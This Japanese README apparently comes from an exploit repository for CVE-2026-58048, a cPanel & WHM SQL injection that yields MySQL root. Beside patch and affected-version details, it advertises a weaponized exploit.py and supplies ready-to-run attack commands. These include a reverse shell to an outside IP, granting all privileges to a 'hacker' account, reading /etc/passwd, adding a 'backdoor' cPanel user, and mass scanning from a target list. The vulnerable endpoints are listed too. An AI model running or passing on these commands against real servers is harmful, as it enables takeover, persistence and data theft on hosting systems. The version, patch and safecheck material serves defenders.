
CVE‑2026‑58048 – cPanel Root SQL 実行ツールキット

倫理的な使用のみ – 許可されたセキュリティテスト
このリポジトリは、許可されたセキュリティ専門家、ブルーチーム、ペネトレーションテスターのみにツールを提供します。
コンピュータシステムへの不正アクセスは、CFAA(米国)、Computer Misuse Act(英国)、TCK 243/244(トルコ)、および世界中の同様の法律の下で違法です。
脆弱性の概要
CVE‑2026‑58048 は、cPanel & WHM バージョン 11.x における重大な SQL インジェクション脆弱性であり、認証された cPanel ユーザーがデータベース名変更機能を通じて MySQL root 権限で任意の SQL コマンドを実行できるようにします。
仕組み
- 認証済みアクセスが必要 – 攻撃者は対象サーバー上に有効な cPanel アカウント(ユーザー名/パスワード)を持っている必要があります。
- SQL モードの操作 – エクスプロイトは MySQL セッションを
ANSI_QUOTES モードに設定し、解析動作を変更します。
- データベース名変更インジェクション – データベース名を変更する際、新しい名前が適切にサニタイズされず、攻撃者が任意の SQL ステートメントを注入できるようになります。
- root 権限 – 名前変更操作は MySQL root 権限で実行されるため、注入された SQL は最高のデータベース権限で実行されます。
- 影響 – データベース全体の乗っ取り、権限昇格、サーバー侵害、データ窃取、バックドア、横展開。直ちにアップグレードしてください!
影響を受けるバージョン
- cPanel & WHM 11.110 以前 – 脆弱
- 11.111 – 11.118 – 脆弱
- 11.119 – 11.126 – 脆弱
- 11.127 – 11.134 – 脆弱
- 11.135 – 11.136 – 脆弱
- 11.137.x –
11.137.1.6 未満は脆弱
- 11.138.1.6 以降 – 修正済み
パッチ
- cPanel & WHM 11.138.1.6 以降にアップグレードしてください。
- アップグレードが不可能な場合は、一時的な回避策として cPanel ユーザーの MySQL 名前変更操作を無効化してください。
ツール
| ツール | 目的 | 対象ユーザー |
|---|
exploit.py | リバースシェル、永続化、UDF RCE、ファイル読み書き、データベース操作、プロキシサポート、大量スキャンを備えた完全な武器化ツールキット。 | レッドチーム / 許可されたペンテスター |
safecheck.py | 悪意のあるペイロードを実行せずに cPanel バージョンを検出しリスクを評価する非侵入型脆弱性チェッカー。詳細なレポートを生成します。 | ブルーチーム / セキュリティ監査人 |
機能比較
| 機能 | exploit.py | safecheck.py |
|---|
| 脆弱性検出 | [+] | [+] |
| バージョン検出 | [+] | [+] |
| MySQL root SQL インジェクション | [+] | [-] |
| リバースシェル | [+] | [-] |
| 永続化(cPanel ユーザー作成) | [+] | [-] |
| UDF RCE(コマンド実行) | [+] | [-] |
| ファイル読み書き | [+] | [-] |
| データベース操作(任意の SQL) | [+] | [-] |
| プロキシサポート | [+] | [+] |
| 大量スキャン(マルチスレッド) | [+] | [-] |
| インタラクティブシェル | [+] | [-] |
| 非侵入(安全)モード | [-] | [+] |
| 詳細/デバッグモード | [+] | [+] |
| SSL 検証制御 | [+] | [+] |
| カスタム User‑Agent | [+] | [+] |
| リクエスト遅延 / リトライ | [+] | [-] |
| JSON / レポート出力 | [+] | [+] |
| エンドポイント到達性チェック | [-] | [+] |
| SQL モード漏洩検出 | [-] | [+] |
ユースケースの概要
| シナリオ | 推奨ツール |
|---|
| ブルーチーム – cPanel インストールが脆弱かどうかの確認 | safecheck.py |
| セキュリティ監査 – 非侵入型脆弱性評価 | safecheck.py |
| レッドチーム – 完全なエクスプロイトを伴う許可されたペネトレーションテスト | exploit.py |
| バグバウンティ – 責任ある開示テスト | safecheck.py |
| 大量スキャン – 複数のターゲットの脆弱性チェック | exploit.py(検出のみ) |
| インシデント対応 – システムが侵害されているかどうかの確認 | safecheck.py |
インストール
git clone https://github.com/tc4dy/CVE-2026-58048-PoC-Exploit
cd CVE-2026-58048
pip install -r requirements.txt
requirements.txt
requests
urllib3
colorama
pymysql
パラメータ
exploit.py のパラメータ
| パラメータ | 説明 |
|---|
-t, --target | 対象 cPanel URL(例: https://cpanel.example.com:2083) |
-l, --target-file | 大量スキャン用のターゲットリストを含むファイル(1 行に 1 つ) |
-u, --mysql-user | cPanel/MySQL ユーザー名 |
-P, --mysql-pass | cPanel/MySQL パスワード |
--mysql-port | MySQL ポート(デフォルト: 3306) |
-p, --port | cPanel ポートを上書き(デフォルトは URL から、または 2083) |
--threads | マルチターゲット用のスレッド数(デフォルト: 10) |
-o, --output | 結果をファイルに保存(単一ターゲット) |
--log | 詳細出力用のログファイル |
-v, --verbose | 詳細出力 |
--proxy | HTTP/HTTPS プロキシ(例: http://127.0.0.1:8080) |
-ua, --user-agent | カスタム User‑Agent |
--no-keep-alive | セッションを維持しない |
--delay | リクエスト間の遅延(デフォルト: 2.0 秒) |
--max-retries | 最大リトライ回数(デフォルト: 3) |
--ssl-verify | SSL 証明書を検証 |
--cmd | 実行するコマンド(特定の場合は sql: または udf: をプレフィックス) |
--inject | 注入するカスタム SQL(他のアクションを上書き) |
--reverse-shell | リバースシェル IP:PORT(UDF を使用) |
--passwd | MySQL root パスワードを変更 |
--adduser | cPanel ユーザーを作成(USER DOMAIN PASSWORD) |
--read | LOAD_FILE 経由でファイルを読み取り |
-i, --interactive | エクスプロイト後のインタラクティブシェル |
--verify | MySQL ログインを試みてエクスプロイトの成功を検証 |
--ping | エクスプロイト前にターゲットを ping |
safecheck.py のパラメータ
| パラメータ | 説明 |
|---|
-t, --target | 対象 cPanel URL(例: https://cpanel.example.com:2083) |
-v, --verbose | 詳細出力 |
--proxy | HTTP/HTTPS プロキシ(例: http://127.0.0.1:8080) |
-ua, --user-agent | カスタム User‑Agent |
--ssl-verify | SSL 証明書を検証 |
--timeout | リクエストタイムアウト(秒)(デフォルト: 10) |
--log | レポートをファイルに保存 |
--json | 結果を JSON 形式で出力 |
シナリオ
| # | シナリオ | コマンド |
|---|
| 1 | 簡易脆弱性チェック | python safecheck.py -t https://cpanel.example.com:2083 |
| 2 | レポート付き詳細スキャン | python safecheck.py -t https://cpanel.example.com:2083 --log report.txt --json -v |
| 3 | リバースシェル | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444 |
| 4 | カスタム SQL の実行(root) | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --inject "GRANT ALL PRIVILEGES ON *.* TO 'hacker'@'%' IDENTIFIED BY 'pwned'" |
| 5 | 機密ファイルの読み取り | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd |
| 6 | MySQL root パスワードの変更 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123 |
| 7 | 新しい cPanel ユーザーの作成(永続化) | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123 |
| 8 | エクスプロイト後のインタラクティブシェル | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i |
| 9 | ファイルからの大量スキャン | python exploit.py -l targets.txt -u user -P pass --threads 20 --output results.json |
| 10 | プロキシとカスタム User‑Agent の使用 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 -ua "Mozilla/5.0 (X11; Linux x86_64)" |
エンドポイントと API の使用
エクスプロイトは以下の cPanel UAPI エンドポイントを使用します:
| エンドポイント | 目的 |
|---|
/execute/Mysql/create_database | 一時データベースを作成 |
/execute/Mysql/delete_database | 作成したデータベースをクリーンアップ |
/execute/Mysql/rename_database | 脆弱なエンドポイント – SQL インジェクションをトリガー |
/execute/Version/get_version | 認証とバージョンチェック |
/execute/UserManager/create_user | 新しい cPanel ユーザーを作成(永続化) |
/execute/UserManager/list_users | 既存ユーザーを一覧表示 |
責任ある使用
- これらのツールは、所有しているシステム、またはテストの明示的な書面による許可を得ているシステムでのみ使用してください。
- 不正アクセスは違法であり、非倫理的です。
- 作者は、いかなる誤用についても責任を負いません。
- 常にあなたの国の法律と規制に従ってください。
このソフトウェアは、教育目的および許可されたセキュリティテストのみに提供されています。